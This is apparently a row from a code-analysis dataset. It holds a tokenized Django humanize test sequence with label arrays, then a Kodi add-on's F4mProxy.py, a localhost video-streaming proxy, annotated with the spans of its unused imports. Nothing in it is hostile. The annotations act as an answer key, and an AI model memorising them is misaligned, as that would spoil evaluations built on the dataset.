"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "list_", "=_", "(_", "'", "1", "'_", ",_", "'", "2", "'_", ",_", "'", "3", "'_", ",_", "'", "4", "'_", ",_", "'", "11", "'_", ",_", "'", "1", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "13", "'_", ",_", "'", "101", "'_", ",_", "'", "102", "'_", ",_", "'", "103", "'_", ",_", "'", "111", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "somet", "hing", " ", "else", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "list_", "=_", "(_", "'", "1s", "t", "'_", ",_", "'", "2n", "d", "'_", ",_", "'", "3", "rd", "'_", ",_", "'", "4", "th", "'_", ",_", "'", "11", "th", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "1", "2t", "h", "'_", ",_", "'", "13", "th", "'_", ",_", "'", "101", "st", "'_", ",_", "'", "102", "nd", "'_", ",_", "'", "103", "rd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "111", "th", "'_", ",_", "'", "somet", "hing", " ", "else", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "humanize", "\\u", "tester_", "(_", "test\\u", "list_", ",_", "result", "\\u", "list_", ",_", "'", "ordinal", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Huma", "niz", "e", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "int", "comma_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "list_", "=_", "(_", "100_", ",_", "1000_", ",_", "1012", "3_", ",_", "103", "11_", ",_", "1000000_", ",_", "1234567", ".25_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "100", "'_", ",_", "'", "1000", "'_", ",_", "'", "1012", "3", "'_", ",_", "'", "103", "11", "'_", ",_", "'", "1000000", "'_", ",_", "'", "1234567", ".12", "3456", "7", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "list_", "=_", "(_", "'", "100", "'_", ",_", "'", "1", ",", "000", "'_", ",_", "'", "10", ",", "123", "'_", ",_", "'", "10", ",", "311", "'_", ",_", "'", "1", ",", "000", ",", "000", "'_", ",_", "'", "1", ",", "234", ",", "567", ".2", "5", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "100", "'_", ",_", "'", "1", ",", "000", "'_", ",_", "'", "10", ",", "123", "'_", ",_", "'", "10", ",", "311", "'_", ",_", "'", "1", ",", "000", ",", "000", "'_", ",_", "'", "1", ",", "234", ",", "567", ".12", "3456", "7", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "humanize", "\\u", "tester_", "(_", "test\\u", "list_", ",_", "result", "\\u", "list_", ",_", "'", "int", "comma", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Huma", "niz", "e", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "int", "word_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "list_", "=_", "(_", "'", "100", "'_", ",_", "'", "1000000", "'_", ",_", "'", "120000", "0", "'_", ",_", "'", "129", "0000", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "1000000000", "'_", ",_", "'", "20000000", "00", "'_", ",_", "'", "600000", "0000000", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "list_", "=_", "(_", "'", "100", "'_", ",_", "'", "1.0", " ", "milli", "on", "'_", ",_", "'", "1.2", " ", "milli", "on", "'_", ",_", "'", "1.3", " ", "milli", "on", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "1.0", " ", "bill", "ion", "'_", ",_", "'", "2.0", " ", "bill", "ion", "'_", ",_", "'", "6.0", " ", "tril", "lio", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "humanize", "\\u", "tester_", "(_", "test\\u", "list_", ",_", "result", "\\u", "list_", ",_", "'", "int", "word", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Huma", "niz", "e", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "apn", "umber_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "list_", "=_", "[_", "str_", "(_", "x_", ")_", "for_", "x_", "in_", "range_", "(_", "1_", ",_", "11_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "list_", "._", "append_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "list_", "=_", "(_", "u", "'", "one", "'_", ",_", "u", "'", "two", "'_", ",_", "u", "'", "three", "'_", ",_", "u", "'", "four", "'_", ",_", "u", "'", "five", "'_", ",_", "u", "'", "si", "x", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "seven", "'_", ",_", "u", "'", "eight", "'_", ",_", "u", "'", "nine", "'_", ",_", "u", "'", "10", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "humanize", "\\u", "tester_", "(_", "test\\u", "list_", ",_", "result", "\\u", "list_", ",_", "'", "apn", "umber", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Huma", "niz", "e", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "natur", "ald", "ay_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "template_", "import_", "default", "filters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "today_", "=_", "date_", "._", "today_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yesterday", "_", "=_", "today_", "-_", "timedelta_", "(_", "days_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tomorrow", "_", "=_", "today_", "+_", "timedelta_", "(_", "days_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "some", "day_", "=_", "today_", "-_", "timedelta_", "(_", "days_", "=_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "not", "date_", "=_", "u", "\"", "I", "'", "m", " ", "not", " ", "a", " ", "date", " ", "value", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "list_", "=_", "(_", "today_", ",_", "yesterday", "_", ",_", "tomorrow", "_", ",_", "some", "day_", ",_", "not", "date_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "some", "day", "\\u", "result_", "=_", "default", "filters_", "._", "date_", "(_", "some", "day_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "list_", "=_", "(_", "\\u_", "(_", "u", "'", "toda", "y", "'_", ")_", ",_", "\\u_", "(_", "u", "'", "yesterday", "'_", ")_", ",_", "\\u_", "(_", "u", "'", "tomorrow", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "some", "day", "\\u", "result_", ",_", "u", "\"", "I", "'", "m", " ", "not", " ", "a", " ", "date", " ", "value", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "humanize", "\\u", "tester_", "(_", "test\\u", "list_", ",_", "result", "\\u", "list_", ",_", "'", "natur", "ald", "ay", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
mrknow/filmkodi/plugin.video.specto/resources/lib/libraries/f4mproxy/F4mProxy.py
[ { "content": "\"\"\"\nXBMCLocalProxy 0.1\nCopyright 2011 Torben Gerkensmeyer\n \nModified for F4M format by Shani\n \nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n \nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n \nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\nMA 02110-1301, USA.\n\"\"\"\n \nimport base64\nimport re\nimport time\nimport urllib\nimport urllib2\nimport sys\nimport traceback\nimport socket\nfrom SocketServer import ThreadingMixIn\nfrom BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler\nfrom urllib import *\nimport urlparse\nfrom f4mDownloader import F4MDownloader\nfrom interalSimpleDownloader import interalSimpleDownloader\nfrom hlsDownloader import HLSDownloader\nimport xbmc\nimport thread\nimport zlib\nfrom StringIO import StringIO\nimport hmac\nimport hashlib\nimport base64\nimport threading \nimport xbmcgui,xbmcplugin\nimport xbmc \nimport hashlib\ng_stopEvent=None\ng_downloader=None\n\n\n \n \n \nHOST_NAME = '127.0.0.1'\nPORT_NUMBER = 55333\n\n\n\n\n\n\n\n ", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class MyHandler(BaseHTTPRequestHandler):\n \"\"\"\n Serves a HEAD request\n \"\"\"\n \"\"\"\n Serves a GET request.\n \"\"\"\n \n \n \n \n \"\"\"\n Sends the requested file and add additional headers.\n \"\"\"", "metadata": "root.MyHandler", "header": "['module', '___EOS___']", "index": 51 }, { "content": " def do_HEAD(self):\n print \"XBMCLocalProxy: Serving HEAD request...\"\n self.send_response(200)\n rtype=\"flv-application/octet-stream\" #default type could have gone to the server to get it.\n #self.send_header(\"Accept-Ranges\",\"bytes\")\n self.end_headers() \n #s.answer_request(False)", "metadata": "root.MyHandler.do_HEAD", "header": "['class', 'MyHandler', '(', 'BaseHTTPRequestHandler', ')', ':', '___EOS___']", "index": 55 }, { "content": " def do_GET(s):\n print \"XBMCLocalProxy: Serving GET request...\"\n s.answer_request(True)", "metadata": "root.MyHandler.do_GET", "header": "['class', 'MyHandler', '(', 'BaseHTTPRequestHandler', ')', ':', '___EOS___']", "index": 65 }, { "content": " def answer_request(self, sendData):\n global g_stopEvent\n global g_downloader\n try:\n\n #Pull apart request path\n request_path=self.path[1:] \n request_path=re.sub(r\"\\?.*\",\"\",request_path)\n #If a request to stop is sent, shut down the proxy\n\n if request_path.lower()==\"stop\":# all special web interfaces here\n sys.exit()\n return\n if request_path.lower()==\"favicon.ico\":\n print 'dont have no icone here, may be in future'\n self.wfile.close()\n return\n\n\n (url,proxy,use_proxy_for_chunks,maxbitrate,simpledownloader, auth,streamtype)=self.decode_url(request_path)\n print 'simpledownloaderxxxxxxxxxxxxxxx',simpledownloader\n if streamtype=='' or streamtype==None or streamtype=='none': streamtype='HDS'\n \n if streamtype=='HDS':\n\n print 'Url received at proxy',url,proxy,use_proxy_for_chunks,maxbitrate\n\n\n #Send file request\n #self.handle_send_request(download_id,file_url, file_name, requested_range,download_mode ,keep_file,connections)\n \n downloader=None\n #downloader=g_downloader\n \n if not downloader or downloader.live==True or not (downloader.init_done and downloader.init_url ==url):\n downloader=F4MDownloader()\n if not downloader.init(self.wfile,url,proxy,use_proxy_for_chunks,g_stopEvent,maxbitrate,auth):\n print 'cannot init'\n return\n g_downloader=downloader\n print 'init...' \n \n enableSeek=False\n requested_range=self.headers.getheader(\"Range\")\n if requested_range==None: requested_range=\"\"\n srange, erange=(None,None)\n \n \n \n if downloader.live==False and len(requested_range)>0 and not requested_range==\"bytes=0-0\": #we have to stream?\n enableSeek=True\n (srange, erange) = self.get_range_request(requested_range, downloader.total_frags)\n \n\n print 'PROXY DATA',downloader.live,enableSeek,requested_range,downloader.total_frags,srange, erange\n enableSeek=False ##disabled for time being, couldn't find better way to handle\n \n framgementToSend=0\n inflate=1815002#(6526684-466/3)#*373/downloader.total_frags# 4142*1024*243/8/40 #1#1024*1024\n if enableSeek:\n #rtype=\"video/x-flv\" #just as default\n self.send_response(206)\n rtype=\"flv-application/octet-stream\" #default type could have gone to the server to get it.\n self.send_header(\"Content-Type\", rtype)\n self.send_header(\"Accept-Ranges\",\"bytes\")\n print 'not LIVE,enable seek',downloader.total_frags\n \n totalsize=downloader.total_frags*inflate\n \n framgementToSend=1#downloader.total_frags\n erange=srange+framgementToSend*inflate\n if erange>=totalsize:\n erange=totalsize-1\n \n # crange=\"bytes \"+str(srange)+\"-\" +str(int(downloader.total_frags-1))+\"/\"+str(downloader.total_frags)#recalculate crange based on srange, portionLen and content_size \n # crange=\"bytes \"+str(srange)+\"-\" +str(int(totalsize-1))+\"/\"+str(totalsize)#recalculate crange based on srange, portionLen and content_size \n crange=\"bytes \"+str(srange)+\"-\" +str(int(erange))+\"/*\"#+str(totalsize)#recalculate crange based on srange, portionLen and content_size \n print srange/inflate,erange/inflate,totalsize/inflate\n self.send_header(\"Content-Length\", str(totalsize))\n self.send_header(\"Content-Range\",crange)\n etag=self.generate_ETag(url)\n self.send_header(\"ETag\",etag)\n print crange\n self.send_header(\"Last-Modified\",\"Wed, 21 Feb 2000 08:43:39 GMT\")\n self.send_header(\"Cache-Control\",\"public, must-revalidate\")\n self.send_header(\"Cache-Control\",\"no-cache\")\n self.send_header(\"Pragma\",\"no-cache\")\n self.send_header(\"features\",\"seekable,stridable\")\n self.send_header(\"client-id\",\"12345\")\n self.send_header(\"Connection\", 'close')\n else:\n self.send_response(200)\n rtype=\"flv-application/octet-stream\" #default type could have gone to the server to get it.\n self.send_header(\"Content-Type\", rtype)\n srange=None\n \n elif streamtype=='SIMPLE' or simpledownloader :\n downloader=interalSimpleDownloader();\n if not downloader.init(self.wfile,url,proxy,g_stopEvent,maxbitrate):\n print 'cannot init'\n return\n srange,framgementToSend=(None,None)\n self.send_response(200)\n rtype=\"flv-application/octet-stream\" #default type could have gone to the server to get it.\n self.send_header(\"Content-Type\", rtype)\n srange=None\n elif streamtype=='HLS' or simpledownloader :\n downloader=HLSDownloader()\n if not downloader.init(self.wfile,url,proxy,use_proxy_for_chunks,g_stopEvent,maxbitrate,auth):\n print 'cannot init'\n return\n \n srange,framgementToSend=(None,None)\n self.send_response(200)\n rtype=\"flv-application/octet-stream\" #default type could have gone to the server to get it.\n self.send_header(\"Content-Type\", rtype)\n srange=None\n \n\n #rtype=\"flv-application/octet-stream\" #default type could have gone to the server to get it. \n #self.send_header(\"Content-Type\", rtype) \n \n self.end_headers()\n if not srange==None:\n srange=srange/inflate\n \n if sendData:\n downloader.keep_sending_video(self.wfile,srange,framgementToSend)\n #runningthread=thread.start_new_thread(downloader.download,(self.wfile,url,proxy,use_proxy_for_chunks,))\n print 'srange,framgementToSend',srange,framgementToSend\n #runningthread=thread.start_new_thread(downloader.keep_sending_video,(self.wfile,srange,framgementToSend,))\n \n xbmc.sleep(500)\n while not downloader.status==\"finished\":\n xbmc.sleep(200);\n\n\n except:\n #Print out a stack trace\n traceback.print_exc()\n g_stopEvent.set()\n self.send_response(404)\n #Close output stream file\n self.wfile.close()\n return\n\n #Close output stream file\n self.wfile.close()\n return ", "metadata": "root.MyHandler.answer_request", "header": "['class', 'MyHandler', '(', 'BaseHTTPRequestHandler', ')', ':', '___EOS___']", "index": 69 }, { "content": " def generate_ETag(self, url):\n md=hashlib.md5()\n md.update(url)\n return md.hexdigest()", "metadata": "root.MyHandler.generate_ETag", "header": "['class', 'MyHandler', '(', 'BaseHTTPRequestHandler', ')', ':', '___EOS___']", "index": 219 }, { "content": " def get_range_request(self, hrange, file_size):\n if hrange==None:\n srange=0\n erange=None\n else:\n try:\n #Get the byte value from the request string.\n hrange=str(hrange)\n splitRange=hrange.split(\"=\")[1].split(\"-\")\n srange=int(splitRange[0])\n erange = splitRange[1]\n if erange==\"\":\n erange=int(file_size)-1\n #Build range string\n \n except:\n # Failure to build range string? Create a 0- range.\n srange=0\n erange=int(file_size-1);\n return (srange, erange)", "metadata": "root.MyHandler.get_range_request", "header": "['class', 'MyHandler', '(', 'BaseHTTPRequestHandler', ')', ':', '___EOS___']", "index": 224 }, { "content": " def decode_url(self, url):\n print 'in params'\n params=urlparse.parse_qs(url)\n print 'params',params # TODO read all params\n #({'url': url, 'downloadmode': downloadmode, 'keep_file':keep_file,'connections':connections})\n received_url = params['url'][0]#\n use_proxy_for_chunks =False\n proxy=None\n try:\n proxy = params['proxy'][0]#\n use_proxy_for_chunks = params['use_proxy_for_chunks'][0]#\n except: pass\n \n maxbitrate=0\n try:\n maxbitrate = int(params['maxbitrate'][0])\n except: pass\n auth=None\n try:\n auth = params['auth'][0]\n except: pass\n\n if auth=='None' and auth=='':\n auth=None\n\n if proxy=='None' or proxy=='':\n proxy=None\n if use_proxy_for_chunks=='False':\n use_proxy_for_chunks=False\n simpledownloader=False\n try:\n simpledownloader = params['simpledownloader'][0]#\n if simpledownloader.lower()=='true':\n print 'params[simpledownloader][0]',params['simpledownloader'][0]\n simpledownloader=True\n else:\n simpledownloader=False\n except: pass\n streamtype='HDS'\n try:\n streamtype = params['streamtype'][0]# \n except: pass \n if streamtype=='None' and streamtype=='': streamtype='HDS'\n return (received_url,proxy,use_proxy_for_chunks,maxbitrate,simpledownloader,auth,streamtype) ", "metadata": "root.MyHandler.decode_url", "header": "['class', 'MyHandler', '(', 'BaseHTTPRequestHandler', ')', ':', '___EOS___']", "index": 245 }, { "content": "class Server(HTTPServer):\n \"\"\"HTTPServer class with timeout.\"\"\"\n ", "metadata": "root.Server", "header": "['module', '___EOS___']", "index": 294 }, { "content": " def get_request(self):\n \"\"\"Get the request and client address from the socket.\"\"\"\n self.socket.settimeout(5.0)\n result = None\n while result is None:\n try:\n result = self.socket.accept()\n except socket.timeout:\n pass\n result[0].settimeout(1000)\n return result", "metadata": "root.Server.get_request", "header": "['class', 'Server', '(', 'HTTPServer', ')', ':', '___EOS___']", "index": 297 }, { "content": "class ThreadedHTTPServer(ThreadingMixIn, Server):\n \"\"\"Handle requests in a separate thread.\"\"\"", "metadata": "root.ThreadedHTTPServer", "header": "['module', '___EOS___']", "index": 309 }, { "content": "class f4mProxy():\n", "metadata": "root.f4mProxy", "header": "['module', '___EOS___']", "index": 315 }, { "content": " def start(self,stopEvent,port=PORT_NUMBER):\n global PORT_NUMBER\n global HOST_NAME\n global g_stopEvent\n print 'port',port,'HOST_NAME',HOST_NAME\n g_stopEvent = stopEvent\n socket.setdefaulttimeout(10)\n server_class = ThreadedHTTPServer\n #MyHandler.protocol_version = \"HTTP/1.1\"\n MyHandler.protocol_version = \"HTTP/1.1\"\n httpd = server_class((HOST_NAME, port), MyHandler)\n \n print \"XBMCLocalProxy Starts - %s:%s\" % (HOST_NAME, port)\n while(True and not stopEvent.isSet()):\n httpd.handle_request()\n httpd.server_close()\n print \"XBMCLocalProxy Stops %s:%s\" % (HOST_NAME, port)", "metadata": "root.f4mProxy.start", "header": "['class', 'f4mProxy', '(', ')', ':', '___EOS___']", "index": 317 }, { "content": " def prepare_url(self,url,proxy=None, use_proxy_for_chunks=True,port=PORT_NUMBER, maxbitrate=0,simpleDownloader=False,auth=None, streamtype='HDS'):\n global PORT_NUMBER\n global PORT_NUMBER\n newurl=urllib.urlencode({'url': url,'proxy':proxy,'use_proxy_for_chunks':use_proxy_for_chunks,'maxbitrate':maxbitrate,'simpledownloader':simpleDownloader,'auth':auth,'streamtype':streamtype})\n link = 'http://'+HOST_NAME+(':%s/'%str(port)) + newurl\n return (link) #make a url that caller then call load into player", "metadata": "root.f4mProxy.prepare_url", "header": "['class', 'f4mProxy', '(', ')', ':', '___EOS___']", "index": 334 }, { "content": "class f4mProxyHelper():\n\n ", "metadata": "root.f4mProxyHelper", "header": "['module', '___EOS___']", "index": 341 }, { "content": " def playF4mLink(self,url,name,proxy=None,use_proxy_for_chunks=False, maxbitrate=0, simpleDownloader=False, auth=None, streamtype='HDS',setResolved=False):\n print \"URL: \" + url\n stopPlaying=threading.Event()\n progress = xbmcgui.DialogProgress()\n\n \n f4m_proxy=f4mProxy()\n stopPlaying.clear()\n runningthread=thread.start_new_thread(f4m_proxy.start,(stopPlaying,))\n progress.create('Starting local proxy')\n stream_delay = 1\n progress.update( 20, \"\", 'Loading local proxy', \"\" )\n xbmc.sleep(stream_delay*1000)\n progress.update( 100, \"\", 'Loading local proxy', \"\" )\n url_to_play=f4m_proxy.prepare_url(url,proxy,use_proxy_for_chunks,maxbitrate=maxbitrate,simpleDownloader=simpleDownloader,auth=auth, streamtype=streamtype)\n listitem = xbmcgui.ListItem(name,path=url_to_play)\n listitem.setInfo('video', {'Title': name})\n\n if setResolved:\n return url_to_play, listitem\n mplayer = MyPlayer() \n mplayer.stopPlaying = stopPlaying\n progress.close() \n mplayer.play(url_to_play,listitem)\n \n #xbmc.Player(xbmc.PLAYER_CORE_AUTO).play(url, listitem)\n firstTime=True\n while True:\n if stopPlaying.isSet():\n break;\n #if not xbmc.Player().isPlaying():\n # break\n xbmc.log('Sleeping...')\n xbmc.sleep(200)\n #if firstTime:\n # xbmc.executebuiltin('Dialog.Close(all,True)')\n # firstTime=False\n stopPlaying.isSet()\n\n print 'Job done'\n return", "metadata": "root.f4mProxyHelper.playF4mLink", "header": "['class', 'f4mProxyHelper', '(', ')', ':', '___EOS___']", "index": 343 }, { "content": " def start_proxy(self,url,name,proxy=None,use_proxy_for_chunks=False, maxbitrate=0,simpleDownloader=False,auth=None,streamtype='HDS'):\n print \"URL: \" + url\n stopPlaying=threading.Event()\n f4m_proxy=f4mProxy()\n stopPlaying.clear()\n runningthread=thread.start_new_thread(f4m_proxy.start,(stopPlaying,))\n stream_delay = 1\n xbmc.sleep(stream_delay*1000)\n url_to_play=f4m_proxy.prepare_url(url,proxy,use_proxy_for_chunks,maxbitrate=maxbitrate,simpleDownloader=simpleDownloader,auth=auth,streamtype=streamtype)\n return url_to_play, stopPlaying", "metadata": "root.f4mProxyHelper.start_proxy", "header": "['class', 'f4mProxyHelper', '(', ')', ':', '___EOS___']", "index": 385 }, { "content": "class MyPlayer (xbmc.Player):\n\n ", "metadata": "root.MyPlayer", "header": "['module', '___EOS___']", "index": 398 }, { "content": " def __init__ (self):\n xbmc.Player.__init__(self)", "metadata": "root.MyPlayer.__init__", "header": "['class', 'MyPlayer', '(', 'xbmc', '.', 'Player', ')', ':', '___EOS___']", "index": 399 }, { "content": " def play(self, url, listitem):\n print 'Now im playing... %s' % url\n self.stopPlaying.clear()\n xbmc.Player(xbmc.PLAYER_CORE_DVDPLAYER ).play(url, listitem)", "metadata": "root.MyPlayer.play", "header": "['class', 'MyPlayer', '(', 'xbmc', '.', 'Player', ')', ':', '___EOS___']", "index": 402 }, { "content": " def onPlayBackEnded( self ):\n # Will be called when xbmc stops playing a file\n print \"seting event in onPlayBackEnded \" \n self.stopPlaying.set();\n print \"stop Event is SET\" ", "metadata": "root.MyPlayer.onPlayBackEnded", "header": "['class', 'MyPlayer', '(', 'xbmc', '.', 'Player', ')', ':', '___EOS___']", "index": 407 }, { "content": " def onPlayBackStopped( self ):\n # Will be called when user stops xbmc playing a file\n print \"seting event in onPlayBackStopped \" \n self.stopPlaying.set();\n print \"stop Event is SET\" ", "metadata": "root.MyPlayer.onPlayBackStopped", "header": "['class', 'MyPlayer', '(', 'xbmc', '.', 'Player', ')', ':', '___EOS___']", "index": 412 } ]
[ { "span": "import base64", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 13 }, { "span": "import time", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 11 }, { "span": "import urllib2", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 14 }, { "span": "import zlib", "start_line": 39, "start_column": 0, "end_line": 39, "end_column": 11 }, { "span": "from StringIO import StringIO", "start_line": 40, "start_column": 0, "end_line": 40, "end_column": 29 }, { "span": "import hmac", "start_line": 41, "start_column": 0, "end_line": 41, "end_column": 11 }, { "span": "import base64", "start_line": 43, "start_column": 0, "end_line": 43, "end_column": 13 }, { "span": "import xbmcgui,xbmcplugin", "start_line": 45, "start_column": 0, "end_line": 45, "end_column": 25 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "XB", "MC", "Local", "Pro", "xy", " ", "0.", "1", "\\", "10", ";", "Copy", "right", " ", "2011", " ", "Tor", "ben", " ", "Ger", "ken", "sme", "yer", "\\", "10", ";", " ", "\\", "10", ";", "Modifie", "d", " ", "for", " ", "F4", "M", " ", "format", " ", "by", " ", "Shan", "i", "\\", "10", ";", " ", "\\", "10", ";", "Thi", "s", " ", "program", " ", "is", " ", "free", " ", "software", ";", " ", "you", " ", "can", " ", "redis", "tribut", "e", " ", "it", " ", "and", "/", "or", " ", "modif", "y", "\\", "10", ";", "it", " ", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "GN", "U", " ", "General", " ", "Public", " ", "License", " ", "as", " ", "publi", "shed", " ", "by", "\\", "10", ";", "the", " ", "Free", " ", "Sof", "twa", "re", " ", "Foun", "dati", "on", ";", " ", "eit", "her", " ", "version", " ", "2", " ", "of", " ", "the", " ", "License", ",", " ", "or", "\\", "10", ";", "(", "at", " ", "your", " ", "option", ")", " ", "any", " ", "late", "r", " ", "version", ".", "\\", "10", ";", " ", "\\", "10", ";", "Thi", "s", " ", "program", " ", "is", " ", "distributed", " ", "in", " ", "the", " ", "hop", "e", " ", "tha", "t", " ", "it", " ", "will", " ", "be", " ", "usef", "ul", ",", "\\", "10", ";", "but", " ", "WITH", "OUT", " ", "ANY", " ", "WAR", "RAN", "TY", ";", " ", "with", "out", " ", "even", " ", "the", " ", "impli", "ed", " ", "warr", "ant", "y", " ", "of", "\\", "10", ";", "MER", "CHAN", "TAB", "ILI", "TY", " ", "or", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", ".", " ", " ", "See", " ", "the", "\\", "10", ";", "GN", "U", " ", "General", " ", "Public", " ", "License", " ", "for", " ", "more", " ", "deta", "il", "s", ".", "\\", "10", ";", " ", "\\", "10", ";", "You", " ", "shou", "ld", " ", "have", " ", "receive", "d", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "GN", "U", " ", "General", " ", "Public", " ", "License", "\\", "10", ";", "along", " ", "with", " ", "this", " ", "program", ";", " ", "if", " ", "not", ",", " ", "write", " ", "to", " ", "the", " ", "Free", " ", "Sof", "twa", "re", "\\", "10", ";", "Foun", "dati", "on", ",", " ", "Inc", ".,", " ", "5", "1", " ", "Frankl", "in", " ", "Stre", "et", ",", " ", "Fifth", " ", "Flo", "or", ",", " ", "Bo", "ston", ",", "\\", "10", ";", "MA", " ", "0211", "0", "-1", "301", ",", " ", "USA", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", 